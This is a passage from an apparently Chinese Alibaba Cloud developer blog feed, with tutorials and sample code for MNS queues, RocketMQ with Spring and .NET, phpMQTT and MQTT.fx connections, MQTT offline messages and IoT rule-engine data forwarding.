                    throw new RuntimeException("Not supported signature method hmac-sha1", var6);
                } catch (InvalidKeyException var7) {
                    throw new RuntimeException("Failed to calculate the signature", var7);
                }
            }
        }

        消费消息

        import org.apache.commons.codec.binary.Base64;
        import org.apache.http.HttpEntity;
        import org.apache.http.HttpResponse;
        import org.apache.http.client.HttpClient;
        import org.apache.http.client.methods.HttpGet;
        import org.apache.http.client.utils.URIBuilder;
        import org.apache.http.impl.client.HttpClients;
        import org.apache.http.util.EntityUtils;
        
        import javax.crypto.Mac;
        import javax.crypto.spec.SecretKeySpec;
        import java.io.UnsupportedEncodingException;
        import java.math.BigInteger;
        import java.net.URI;
        import java.security.InvalidKeyException;
        import java.security.MessageDigest;
        import java.security.NoSuchAlgorithmException;
        import java.text.DateFormat;
        import java.text.SimpleDateFormat;
        import java.util.Date;
        import java.util.Locale;
        import java.util.TimeZone;
        
        public class GetMessageFromMNSQueue {
        
            public static void main(String[] args) {
                //参数设置
                String AccessKeySecret = "********";//Access Key Secret
                String AccessKeyId = "********";//AccessKey ID
                String AccountId = "********";
        
                //获取GMT英文格式时间
                Date d=new Date();
                DateFormat format=new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z",Locale.ENGLISH);//英文格式的时间转换时需要带上Locale.ENGLISH,否则会转换失败,因为它默认的是本地化的设置,除非你的操作系统是英文的,总之时间转换时需要时间格式与模式保持一致。
                format.setTimeZone(TimeZone.getTimeZone("GMT"));
                String date = format.format(d);
        
                //构造签名String
                String SignString = "GETn" +
                         "n"+
                        "n"+
                        date + "n"+
                        "x-mns-version:2015-06-06" +"n"+
                        "/queues/TestQueue123/messages?waitseconds=30";
        
                String sign = encode(AccessKeySecret,SignString);
                String Authorization = "MNS " + AccessKeyId + ":" + sign;
                HttpClient httpclient = HttpClients.createDefault();
        
                try
                {
                    URIBuilder builder = new URIBuilder("http://" + AccountId + ".mns.cn-hangzhou.aliyuncs.com/queues/TestQueue123/messages?waitseconds=30");
                    URI uri = builder.build();
                    HttpGet request = new HttpGet(uri);
                    request.setHeader("Authorization", Authorization);
                    request.setHeader("Date", date);
                    request.setHeader("Host", AccountId + ".mns.cn-hangzhou.aliyuncs.com");
                    request.setHeader("x-mns-version","2015-06-06");
        
                    HttpResponse response = httpclient.execute(request);
                    HttpEntity entity = response.getEntity();
        
                    if (entity != null)
                    {
                        System.out.println(EntityUtils.toString(entity));
                    }
                }
                catch (Exception e)
                {
                    System.out.println("error");
                    System.out.println(e.getMessage());
                }
            }
        
            //写一个md5加密的方法
            public static String md5(String plainText) {
                //定义一个字节数组
                byte[] secretBytes = null;
                try {
                    // 生成一个MD5加密计算摘要
                    MessageDigest md = MessageDigest.getInstance("MD5");
                    //对字符串进行加密
                    md.update(plainText.getBytes());
                    //获得加密后的数据
                    secretBytes = md.digest();
                } catch (NoSuchAlgorithmException e) {
                    throw new RuntimeException("没有md5这个算法!");
                }
                //将加密后的数据转换为16进制数字
                String md5code = new BigInteger(1, secretBytes).toString(16);// 16进制数字
                // 如果生成数字未满32位,需要前面补0
                for (int i = 0; i < 32 - md5code.length(); i++) {
                    md5code = "0" + md5code;
                }
                return md5code;
            }
        
            //计算签名
            public static String encode(String accessKey, String data) {
                try {
                    byte[] keyBytes = accessKey.getBytes("UTF-8");
                    byte[] dataBytes = data.getBytes("UTF-8");
                    Mac mac = Mac.getInstance("HmacSHA1");
                    mac.init(new SecretKeySpec(keyBytes, "HmacSHA1"));
                    return new String(Base64.encodeBase64(mac.doFinal(dataBytes)));
                } catch (UnsupportedEncodingException var5) {
                    throw new RuntimeException("Not supported encoding method UTF-8", var5);
                } catch (NoSuchAlgorithmException var6) {
                    throw new RuntimeException("Not supported signature method hmac-sha1", var6);
                } catch (InvalidKeyException var7) {
                    throw new RuntimeException("Failed to calculate the signature", var7);
                }
            }
        }
        

        更多参考
        签名验证工具
        RESTfulAPI概述

        备注: 示例代码仅供快速测试使用,未做冗余处理。

        ]]>
        RocketMQ Spring 集成 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述

        本文介绍如何在 Spring 框架下用消息队列 RocketMQ 收发消息。主要包括以下两部分内容:

        • 普通消息生产者和 Spring 集成
        • 消息消费者和 Spring 集成

        测试流程

        资源创建
        1、管理门户创建实例、Topic及Group;
        2、注意:如果程序在本地测试运行,请选择在公网区域创建。

        代码测试

        1、pom.xml

        <?xml version="1.0" encoding="UTF-8"?>
        <project xmlns="http://maven.apache.org/POM/4.0.0"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
            <modelVersion>4.0.0</modelVersion>
        
            <groupId>MavenSpringDemoMQ</groupId>
            <artifactId>MavenSpringDemoMQ</artifactId>
            <version>1.0-SNAPSHOT</version>
        
            <properties>
                <org.springframework.version>5.0.8.RELEASE</org.springframework.version>
            </properties>
            <dependencies>
                <!-- https://mvnrepository.com/artifact/org.springframework/org.springframework.context -->
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-beans</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-core</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-context</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-expression</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-context-support</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-context-indexer</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <!--spring core end-->
        
                <!--spring aop start-->
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-aop</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <!--spirng aop end-->
        
                <!--spring aspects start-->
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-aspects</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <!--spring aspects end-->
        
                <!--spring instrumentation start -->
                <dependency>
                    <groupId>org.springframework</groupId>
                    <artifactId>spring-instrument</artifactId>
                    <version>${org.springframework.version}</version>
                </dependency>
                <!--spring instrumentation end-->
        
                <!--RocketMQ jar依赖-->
                <dependency>
                    <groupId>com.aliyun.openservices</groupId>
                    <artifactId>ons-client</artifactId>
                    <version>1.7.9.Final</version>
                </dependency>
            </dependencies>
        </project>
        

        2、发送端配置文件producer.xml

        <?xml version="1.0" encoding="UTF-8"?>
        <beans xmlns="http://www.springframework.org/schema/beans"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
            <bean id="producer" class="com.aliyun.openservices.ons.api.bean.ProducerBean" init-method="start" destroy-method="shutdown">
                <!-- Spring 接入方式支持 Java SDK 支持的所有配置项 -->
                <property name="properties" > <!--生产者配置信息-->
                    <props>
                        <prop key="AccessKey">********</prop>
                        <prop key="SecretKey">********</prop>
                        <prop key="NAMESRV_ADDR">http://MQ_INST_********_BaQUuiNE.mq-internet-access.mq-internet.aliyuncs.com:80</prop>
                    </props>
                </property>
            </bean>
        </beans>

        3、发送端代码

        import com.aliyun.openservices.ons.api.Message;
        import com.aliyun.openservices.ons.api.Producer;
        import com.aliyun.openservices.ons.api.SendResult;
        import com.aliyun.openservices.ons.api.exception.ONSClientException;
        import org.springframework.context.ApplicationContext;
        import org.springframework.context.support.ClassPathXmlApplicationContext;
        public class ProduceWithSpring {
            public static void main(String[] args) {
                /**
                 * 生产者 Bean 配置在 producer.xml 中,可通过 ApplicationContext 获取或者直接注入到其他类(比如具体的 Controller)中
                 */
                ApplicationContext context = new ClassPathXmlApplicationContext("producer.xml");
                Producer producer = (Producer) context.getBean("producer");
                //循环发送消息
                for (int i = 0; i < 100; i++) {
                    Message msg = new Message( //
                            // Message 所属的 Topic
                            "yutopic",
                            // Message Tag 可理解为 Gmail 中的标签,对消息进行再归类,方便 Consumer 指定过滤条件在消息队列 RocketMQ 的服务器过滤
                            "TagSpring",
                            // Message Body 可以是任何二进制形式的数据, 消息队列 RocketMQ 不做任何干预
                            // 需要 Producer 与 Consumer 协商好一致的序列化和反序列化方式
                            "Hello MQ".getBytes());
                    // 设置代表消息的业务关键属性,请尽可能全局唯一
                    // 以方便您在无法正常收到消息情况下,可通过控制台查询消息并补发
                    // 注意:不设置也不会影响消息正常收发
                    msg.setKey("ORDERID_100");
                    // 发送消息,只要不抛异常就是成功
                    try {
                        SendResult sendResult = producer.send(msg);
                        assert sendResult != null;
                        System.out.println("send success: " + sendResult.getMessageId());
                    }catch (ONSClientException e) {
                        System.out.println("发送失败");
                    }
                }
                //关系producer
                producer.shutdown();
            }
        }

        4、消费端配置文件consumer.xml

        <?xml version="1.0" encoding="UTF-8"?>
        
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="msgListener" class="demo.DemoMessageListener"></bean> <!--Listener 配置-->
        <!-- Group ID 订阅同一个 Topic,可以创建多个 ConsumerBean-->
        <bean id="consumer" class="com.aliyun.openservices.ons.api.bean.ConsumerBean" init-method="start" destroy-method="shutdown">
            <property name="properties" > <!--消费者配置信息-->
                <props>
                    <prop key="AccessKey">********</prop>
                    <prop key="SecretKey">********</prop>
                    <prop key="NAMESRV_ADDR">http://MQ_INST_********_BaQUuiNE.mq-internet-access.mq-internet.aliyuncs.com:80</prop>
                    <prop key="GROUP_ID">GID_Spring</prop>
                    <!--将消费者线程数固定为 50 个
                    <prop key="ConsumeThreadNums">50</prop>
                    -->
                </props>
            </property>
            <property name="subscriptionTable">
                <map>
                    <entry value-ref="msgListener">
                        <key>
                            <bean class="com.aliyun.openservices.ons.api.bean.Subscription">
                                <property name="topic" value="yutopic"/>
                                <property name="expression" value="*"/><!--expression 即 Tag,可以设置成具体的 Tag,如 taga||tagb||tagc,也可设置成 *。 * 仅代表订阅所有 Tag,不支持通配-->
                            </bean>
                        </key>
                    </entry>
                    <!--更多的订阅添加 entry 节点即可,如下所示-->
                    <!--<entry value-ref="msgListener">-->
                        <!--<key>-->
                            <!--<bean class="com.aliyun.openservices.ons.api.bean.Subscription">-->
                                <!--<property name="topic" value="TopicTestMQ-Other"/> &lt;!&ndash;订阅另外一个 Topic &ndash;&gt;-->
                                <!--<property name="expression" value="taga||tagb"/> &lt;!&ndash; 订阅多个 Tag &ndash;&gt;-->
                            <!--</bean>-->
                        <!--</key>-->
                    <!--</entry>-->
                </map>
            </property>
        </bean>
        

        5、DemoMessageListener

        import com.aliyun.openservices.ons.api.Action;
        import com.aliyun.openservices.ons.api.ConsumeContext;
        import com.aliyun.openservices.ons.api.Message;
        import com.aliyun.openservices.ons.api.MessageListener;
        public class DemoMessageListener implements MessageListener {
        
        public Action consume(Message message, ConsumeContext context) {
            System.out.println("Receive: " + message.getMsgID());
            try {
                //do something..
                return Action.CommitMessage;
            }catch (Exception e) {
                //消费失败
                return Action.ReconsumeLater;
            }
        }
        }`
        

        6、消费端启动程序

        import org.springframework.context.ApplicationContext;
        import org.springframework.context.support.ClassPathXmlApplicationContext;
        public class ConsumeWithSpring {
            public static void main(String[] args) {
                /**
                 * 消费者 Bean 配置在 consumer.xml 中,可通过 ApplicationContext 获取或者直接注入到其他类(比如具体的 Controller)中
                 */
                ApplicationContext context = new ClassPathXmlApplicationContext("consumer.xml");
                System.out.println("Consumer Started");
            }
        }
        

        测试效果

        • 发送端
          image.png
        • 消费端
          image.png

        更多参考
        Spring 集成

        订阅关系一致

        ]]>
        如何使用phpMQTT连接阿里云微服务消息队列for IoT Fri, 02 May 2025 09:39:04 +0800 概述

        关于阿里云的微服务消息队列,目前官方网站在接入示例部分给出了多种语言的SDK参考示例,但是还没有关于php的SDK及接入示例参考。下面主要介绍在使用目前主流的第三方SDK phpMQTT的过程中遇到的问题及解决办法。

        主要流程

        参数准备

        在使用MQTT的过程中,关于参数的配置是一个比较让人头疼的问题,很多用户都在配置参数的过程中遇到过问题,这里建议用户首先使用第三方的工具MQTT.fx完成参数的配置调通工作,后续在代码中直接使用即可,避免在参数配置的过程中犯错。具体可以参考博客:如何使用MQTT.fx连接微服务消息队列。

        包的引用

        用户可以直接参考GitHub官方链接,使用composer的方式加载包,也可以直接下载整个项目使用。

        SendDemo

        <?php
        
        use BluerhinosphpMQTT;
        
        require("phpMQTT.php");
        
        $server = "******.mqtt.aliyuncs.com";     // change if necessary
        $port = 1883;                     // change if necessary
        $username = "******";                   // set your username
        $password = "******";                   // set your password
        $client_id = "GID_******@@@devicename"; // make sure this is unique for connecting to sever - you could use uniqid()
        
        $mqtt = new phpMQTT($server, $port, $client_id);
        
        if ($mqtt->connect(true, NULL, $username, $password)) {
            $mqtt->publish("mqtt_topic/notice/", "Hello World PHP! at " . date("r"), 0);
            $mqtt->close();
            echo "send success!";
        } else {
            echo "Time out!n";
        }
        ?>

        问题分析及解决

        现象

        用户使用在上面介绍的工具测试可行的参数直接配置到代码中,会报:Uninitialized string offset 的错误,跟踪到源码,发现:

        $string = $this->read(4)

        并未读入任何信息,但是参数的配置又没有什么问题,部分用户发现使用同样的代码连接自己的MQTT服务器可以正常连接。

        原因

        目前phpMQTT仅支持mqttv3.1,但是目前阿里云的微服务消息队列使用的是v3.1.1协议,MQTT v3.1.1协议名称长度 4,而3.1的协议长度为6。

        解决方案

        源码:

        $buffer .= chr(0x06); $i++;
          $buffer .= chr(0x4d); $i++;
          $buffer .= chr(0x51); $i++;
          $buffer .= chr(0x49); $i++;
          $buffer .= chr(0x73); $i++;
          $buffer .= chr(0x64); $i++;
          $buffer .= chr(0x70); $i++;
          $buffer .= chr(0x03); $i++;

        调整为:

        $buffer .= chr(0x04); $i++;
          $buffer .= chr(0x4d); $i++;
          $buffer .= chr(0x51); $i++;
          $buffer .= chr(0x54); $i++;
          $buffer .= chr(0x54); $i++;
          $buffer .= chr(0x04); $i++;

        测试效果

        1、发送端使用调整后的源码运行SendDemo;

        2、接收监听:

        image.png

        参考链接

        phpMQTT
        GitHub Issue

        ]]>
        如何使用MQTT.fx连接微服务消息队列 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述

        MQTT.fx 是目前主流的 MQTT 桌面客户端,它支持 Windows, Mac, Linux,可以快速验证是否可以与 IoT Cloud 进行连接并发布或订阅消息。目前很多同学在使用阿里云微服务消息队列时不知道如何使用该工具进行连接测试,本文主要演示如何使用该工具测试连接阿里云微服务消息队列的Broker。

        步骤

        1、MQTT.fx下载链接;
        image.png

        2、微服务消息队列UserName、Password的生成,目前用户可以参考官方的SDK示例进行创建,也可以快速使用门户提供的工具创建。下面演示使用工具快速创建的方法:
        image.png

        3、MQTT.fx配置连接参数:
        image.png

        订阅及发布测试

        1、父类Topic预创建
        image.png

        2、订阅设置:
        image.png

        3、发布消息:
        image.png

        4、消息订阅效果:
        image.png

        更多参考

        MQTT 签名计算

        微服务消息队列名词解释

        ]]>
        MQ消息队列.NET SDK的使用 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述

        MQ消息队列的SDK目前支持Java、C/C++及.NET三种语言,关于.NET SDK的使用目前因为版本更新的问题,用户在使用的过程中多少会出现这样或那样的问题,特别是SDK中example的使用问题。本文主要介绍.NET SDK的使用注意事项及用户可能遇到的问题。

        准备工作

        1、SDK下载 下载地址链接,建议下载最新版本的SDK;

        2、加载相关文件到已经创建的.NET控制台项目,配置参考链接;

        3、配置管理器示例:

        image.png

        4、如果找不到x64,可以通过如下方式新建:

        image.png

        示例程序运行注意事项

        1、基本信息的录入,具体创建方法可以在管理门户完成,注意绝大部分的用户测试环境都是在本地,所以请在公网区域创建Topic、生产者及消费者;

        image.png

        2、SDK sample 默认代码的运行测试文件是: ConsumerAndProducerForEx.cs,默认的示例程序并未给出ONSAddr的设置,且默认指向的是内网的地址,所以用户完成了规定参数的配置后仍然无法连通,所以需要添加ONSAddr参数的配置,参数对应的是生产者或消费者的接入点,代码修改示例如下:

        ONSFactoryProperty factoryInfo = new ONSFactoryProperty();
        factoryInfo.setFactoryProperty(ONSFactoryProperty.ONSAddr, "http://onsaddr-internet.aliyun.com/rocketmq/nsaddr4client-internet");
        factoryInfo.setFactoryProperty(ONSFactoryProperty.AccessKey, Ons_AccessKey);

        dll文件的复制粘贴问题

        直接复制SDK->lib->x64下的文件到项目的bin->x64->Debug。

        image.png

        测试运行效果

        image.png

        新版本SDK使用参考

        截止2019.2.16,目前最新的SDK版本为1.1.3。基本配置方式与之前一致。只是在参数设置的地方略有不同,示例如下:

        private static ONSFactoryProperty getFactoryProperty()
         {
             ONSFactoryProperty factoryInfo = new ONSFactoryProperty();
             factoryInfo.setFactoryProperty(ONSFactoryProperty.NAMESRV_ADDR, "http://MQ_INST_1848217816617278_BaQUuiNE.mq-internet-access.mq-internet.aliyuncs.com:80");
             factoryInfo.setFactoryProperty(ONSFactoryProperty.AccessKey, Ons_AccessKey);
             factoryInfo.setFactoryProperty(ONSFactoryProperty.SecretKey, Ons_SecretKey);
             factoryInfo.setFactoryProperty(ONSFactoryProperty.ConsumerId, Ons_ConsumerId);
             factoryInfo.setFactoryProperty(ONSFactoryProperty.ProducerId, Ons_ProducerID);
             factoryInfo.setFactoryProperty(ONSFactoryProperty.PublishTopics, Ons_Topic);
            return factoryInfo;
         }

        中文编码处理问题

        处理思路:对发送的消息进行base64编码,消费的消息进行base64解码。

        using System;
        using System.Text;
        using System.Threading;
        using ons;
        
        namespace test
        {
            /// <summary>
            /// 消费监听类
            /// </summary>
            public class MyMsgListener : MessageListener
            {
                public MyMsgListener()
                {
                }
        
                ~MyMsgListener()
                {
                }
        
                public override ons.Action consume(Message value, ConsumeContext context)
                {
                    Byte[] text = Encoding.Default.GetBytes(value.getBody());
                    string s = System.Text.Encoding.UTF8.GetString(text, 0, text.Length);
                    Console.WriteLine(base64tstring.UnBase64String(s));
                    return ons.Action.CommitMessage;
                }
            }
        
            /// <summary>
            /// base64编码解码类
            /// </summary>
            public class base64tstring {
        
                public static string ToBase64String(string value)
                {
                    if (value == null || value == "")
                    {
                        return "";
                    }
                    byte[] bytes = Encoding.UTF8.GetBytes(value);
                    return Convert.ToBase64String(bytes);
                }
        
                public static string UnBase64String(string value)
                {
                    if (value == null || value == "")
                    {
                        return "";
                    }
                    byte[] bytes = Convert.FromBase64String(value);
                    return Encoding.UTF8.GetString(bytes);
                }
            }
        
            class ConsumerAndProducerForEx
            {
                static void Main(string[] args)
                {
                    ONSFactoryProperty factoryInfo = new ONSFactoryProperty();
                    factoryInfo.setFactoryProperty(ONSFactoryProperty.AccessKey, "******");
        
                    factoryInfo.setFactoryProperty(ONSFactoryProperty.SecretKey, "******");
                    factoryInfo.setFactoryProperty(ONSFactoryProperty.ConsumerId, "GID_test");
                    factoryInfo.setFactoryProperty(ONSFactoryProperty.ProducerId, "GID_test");
                    factoryInfo.setFactoryProperty(ONSFactoryProperty.PublishTopics, "newtopictest");
                    factoryInfo.setFactoryProperty(ONSFactoryProperty.NAMESRV_ADDR, "http://******.mq-internet-access.mq-internet.aliyuncs.com:80");
                    factoryInfo.setFactoryProperty(ONSFactoryProperty.LogPath, "E://代码//示例//消息队列//阿里消息MQ//AliMQTest//log//AliSend");
        
        
        
                    //// 消息发送
                    Producer producer = ONSFactory.getInstance().createProducer(factoryInfo);
                    producer.start();
        
                    string myString = "Example message body测试"; //中英文混合字符
        
                    myString = base64tstring.ToBase64String(myString);
                    Message msg = new Message(factoryInfo.getPublishTopics(), "tagA", myString);
                    msg.setKey(Guid.NewGuid().ToString());
                    for (int i = 0; i < 10; i++)
                    {
                        try
                        {
                            try
                            {
                                SendResultONS sendResult = producer.send(msg);
        
                                Console.WriteLine("send success {0}", sendResult.getMessageId());
                            }
                            catch (Exception ex)
                            {
                                Console.WriteLine("Error message: " + ex.Message);
                            }
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine("send failure{0}", ex.ToString());
                        }
                    }
                    producer.shutdown();
        
                    // 创建消费者实例
                    PushConsumer consumer = ONSFactory.getInstance().createPushConsumer(factoryInfo);
        
                    Console.WriteLine("开始消费消息:");
                    // 订阅 Topics
                    consumer.subscribe("newtopictest", "*", new MyMsgListener());
                    // 启动客户端实例
                    consumer.start();
                    //该设置仅供 demo 使用,实际生产中请保证进程不退出
                    Thread.Sleep(300000);
        
                    Console.ReadLine();
                }
            }
        }

        测试效果:
        image.png

        参考链接

        NET SDK 环境准备
        收发普通消息

        ]]>
        MQTT获取离线消息小议 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述

        微消息队列MQ for IoT在处理离线消息时,为了简化离线消息获取机制,微消息队列系统在客户端成功建立连接并通过权限校验后,会自动加载离线消息并下发到客户端,但是实际在使用过程中会出现消费端启动后迟迟无法获取离线消息的问题,本文主要介绍延迟消息的发送与接收环节需要注意的问题。

        协议相关

        注意在使用SDK进行离线消息的发送过程中需要特别注意QoS和cleanSession两个参数。

        • QoS 指代消息传输的服务质量(主要针对发送端)
        取值 1 2 3
        意义 最多分发一次 最多分发一次 仅分发一次
        • cleanSession 建立 TCP 连接后是否关心之前状态(主要针对接收端)
        true false
        客户端再次上线时,将不再关心之前所有的订阅关系以及离线消息 客户端再次上线时,还需要处理之前的离线消息,而之前的订阅关系也会持续生效

        为了处理的方便,对于处理离线消息的情况,建议不论是发送端还是接收端,参数都设置为:

        QoS = 1
        
        cleanSession = false

        Java示例代码

        Send Code

        import org.eclipse.paho.client.mqttv3.*;
        import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
        import java.io.IOException;
        import java.util.Date;
        
        import static org.eclipse.paho.client.mqttv3.MqttConnectOptions.MQTT_VERSION_3_1_1;
        
        public class MQTTSendMsg1 {
        
            public static void main(String[] args) throws IOException {
        
                final String broker ="tcp://******.mqtt.aliyuncs.com:1883";
                final String acessKey ="******";
                final String secretKey ="******";
                final String topic ="******";
                final String clientId ="GID_******@@@ClientID_device1";
                String sign;
                MemoryPersistence persistence = new MemoryPersistence();
                try {
                    final MqttClient sampleClient = new MqttClient(broker, clientId, persistence);
                    final MqttConnectOptions connOpts = new MqttConnectOptions();
                    System.out.println("Connecting to broker: " + broker);
                    sign = MacSignature.macSignature(clientId.split("@@@")[0], secretKey);
                    connOpts.setUserName(acessKey);
                    connOpts.setServerURIs(new String[] { broker });
                    connOpts.setPassword(sign.toCharArray());
                    connOpts.setCleanSession(false);
                    connOpts.setKeepAliveInterval(90);
                    connOpts.setAutomaticReconnect(true);
                    connOpts.setMqttVersion(MQTT_VERSION_3_1_1);
                    sampleClient.setCallback(new MqttCallbackExtended() {
                        public void connectComplete(boolean reconnect, String serverURI) {
                            System.out.println("connect success");
                            //连接成功,需要上传客户端所有的订阅关系
                        }
                        public void connectionLost(Throwable throwable) {
                            System.out.println("mqtt connection lost");
                        }
                        public void messageArrived(String topic, MqttMessage mqttMessage) throws Exception {
                            System.out.println("messageArrived:" + topic + "------" + new String(mqttMessage.getPayload()));
                        }
                        public void deliveryComplete(IMqttDeliveryToken iMqttDeliveryToken) {
                            System.out.println("deliveryComplete:" + iMqttDeliveryToken.getMessageId());
                        }
                    });
                    sampleClient.connect(connOpts);
                    for (int i = 0; i < 5; i++) {
                        try {
                            String scontent = new Date()+"MQTT Test body" + i;
                            //此处消息体只需要传入 byte 数组即可,对于其他类型的消息,请自行完成二进制数据的转换
                            final MqttMessage message = new MqttMessage(scontent.getBytes());
                            message.setQos(1);//设置离线消息的情况
                            System.out.println(i+" pushed at "+new Date()+" "+ scontent);
                            sampleClient.publish(topic+"/notice/", message);
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                } catch (Exception me) {
                    me.printStackTrace();
                }
            }
        }

        Receive Code

        import org.eclipse.paho.client.mqttv3.*;
        import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
        import java.util.concurrent.ExecutorService;
        import java.util.concurrent.LinkedBlockingQueue;
        import java.util.concurrent.ThreadPoolExecutor;
        import java.util.concurrent.TimeUnit;
        
        public class MQTTRecvMsg {
                public static void main(String[] args) {
        
                    final String broker ="tcp://******.mqtt.aliyuncs.com:1883";
                    final String acessKey ="******";
                    final String secretKey ="******";
                    final String topic ="******";
                    final String clientId ="GID_******@@@ClientID_device2";
                    String sign;
                    MemoryPersistence persistence = new MemoryPersistence();
                    try {
                        final MqttClient sampleClient = new MqttClient(broker, clientId, persistence);
                        final MqttConnectOptions connOpts = new MqttConnectOptions();
                        System.out.println("Connecting to broker: " + broker);
        
                        sign = MacSignature.macSignature(clientId.split("@@@")[0], secretKey);
                        final String[] topicFilters=new String[]{topic+"/notice/"};
                        final int[]qos={1};
                        connOpts.setUserName(acessKey);
                        connOpts.setServerURIs(new String[] { broker });
                        connOpts.setPassword(sign.toCharArray());
                        connOpts.setCleanSession(false);//设置确定是否继续接受离线消息
                        connOpts.setKeepAliveInterval(90);
                        connOpts.setAutomaticReconnect(true);
                        final ExecutorService executorService = new ThreadPoolExecutor(1, 1, 0, TimeUnit.MILLISECONDS,
                                new LinkedBlockingQueue<Runnable>());
                        sampleClient.setCallback(new MqttCallbackExtended() {
                            public void connectComplete(boolean reconnect, String serverURI) {
                                System.out.println("connect success");
                                //连接成功,需要上传客户端所有的订阅关系
                                executorService.submit(new Runnable()
                                {
                                    public void run()
                                    {
                                        try
                                        {
                                            sampleClient.subscribe(topicFilters, qos);
                                        } catch(Exception me)
                                        {
                                            me.printStackTrace();
                                        }
                                    }
                                });
                            }
                            public void connectionLost(Throwable throwable) {
                                System.out.println("mqtt connection lost");
                            }
                            public void messageArrived(String topic, MqttMessage mqttMessage) throws Exception {
                                System.out.println("messageArrived:" + topic + "------" + new String(mqttMessage.getPayload()));
                            }
                            public void deliveryComplete(IMqttDeliveryToken iMqttDeliveryToken) {
                                System.out.println("deliveryComplete:" + iMqttDeliveryToken.getMessageId());
                            }
                        });
                        //客户端每次上线都必须上传自己所有涉及的订阅关系,否则可能会导致消息接收延迟
                        sampleClient.connect(connOpts);
                        //每个客户端最多允许存在30个订阅关系,超出限制可能会丢弃导致收不到部分消息
                        sampleClient.subscribe(topicFilters,qos);
                        Thread.sleep(Integer.MAX_VALUE);
                    } catch (Exception me) {
                        me.printStackTrace();
                    }
                }
        }
        

        特别注意:

        离线消息生成需要一定的时间,因为推送的消息需要等待客户端的 ack 超时才会被判成离线消息,所以获取离线消息一般也需要订阅端等待一定的时间。

        参考链接

        微消息队列名词解释

        MQTT 获取离线消息

        ]]>
        物联网平台规则引擎使用说明 Fri, 02 May 2025 09:39:04 +0800

        作者:三烽

        一、数据流转

        1、基本概念

        当设备基于Topic进行通信时,您可以在规则引擎的数据流转中,编写SQL对Topic中的数据进行处理,并配置转发规则将处理后的数据转发到其他Topic或阿里云其他服务。

        2、方案对比

        规则引擎和服务端订阅都可以进行数据流转,两者的对比详见文档https://help.aliyun.com/document_detail/102335.html

        3、创建规则

        数据类型可选JSON和二进制。因为数据流转是基于Topic处理数据的,所以数据格式要和被处理Topic中的数据格式保持一致。【若选择为二进制,该规则不能处理系统Topic的消息,且不能将数据转发至表格存储、时序时空数据库和云数据库RDS版。】
        image.png

        规则详情页的配置说明请参考文档https://help.aliyun.com/document_detail/42733.html

        4、SQL表达式举例说明

        产品中有一个属性为struct,数据类型为结构体,结构体中JSON对象分别是length、height和weight。
        image.png

        要正确提取struct中的各参数值,sql语句应如下所示(注意items的使用,详见5数据流转过程)
        image.png

        SQL中的数组使用说明如下所示
        image.png

        【注意事项】
        a.SELECT语句中的字段最多支持50个
        b.不支持子SQL查询
        c.可以使用SQL内置函数,详见文档。

        5、数据流转过程

        a.通过自定义topic上传,透传结构不变,sql语句中直接填写payload中的key值。
        image.png

        b.通过系统topic上传,注意经过物模型解析后的结果,sql语句中要使用items.xxx的形式。
        image.png

        6、数据格式

        上传到系统topic中的数据格式由平台定义,详见文档https://help.aliyun.com/document_detail/73736.html

        二、数据流转使用示例

        1、数据转发到另一Topic

        https://help.aliyun.com/document_detail/42734.html

        2、数据转发到消息队列(RocketMQ)

        https://help.aliyun.com/document_detail/59000.html

        3、数据转发到表格存储(Table Store)

        https://help.aliyun.com/document_detail/42735.html

        4、数据转发到DataHub

        https://help.aliyun.com/document_detail/42734.html

        5、数据转发到云数据库(RDS)

        https://help.aliyun.com/document_detail/42736.html

        6、数据转发到消息服务(Message Service)

        https://help.aliyun.com/document_detail/44008.html

        7、数据转发到时序时空数据库(TSDB)

        https://help.aliyun.com/document_detail/64143.html

        8、数据转发到函数计算(FC)

        https://help.aliyun.com/document_detail/64234.html

        三、场景联动

        1、基本概念

        场景联动是规则引擎中,一种开发自动化业务逻辑的可视化编程方式,您可以通过可视化的方式定义设备之间联动规则,并将规则部署至云端或者边缘端。
        例如,您每天18:00下班回家。在炎热的夏天,您希望您到家后,家里的温度是凉爽、舒适的。您可以创建一条规则,使空调设备自动化,实现这个需求。

        2、规则配置

        请参考文档https://help.aliyun.com/document_detail/102241.html

        ]]>
        物联网平台服务端订阅排查流程 Fri, 02 May 2025 09:39:04 +0800

        作者:三烽

        简介

        服务端可以直接订阅产品下所有类型的消息:设备上报消息、设备状态变化通知、网关发现子设备上报、设备生命周期变更、设备拓扑关系变更。配置服务端订阅后,物联网平台会将产品下所有设备的已订阅类型的消息转发至您的服务端。
        ⭕️消息流转过程为:设备——物联网平台——服务端
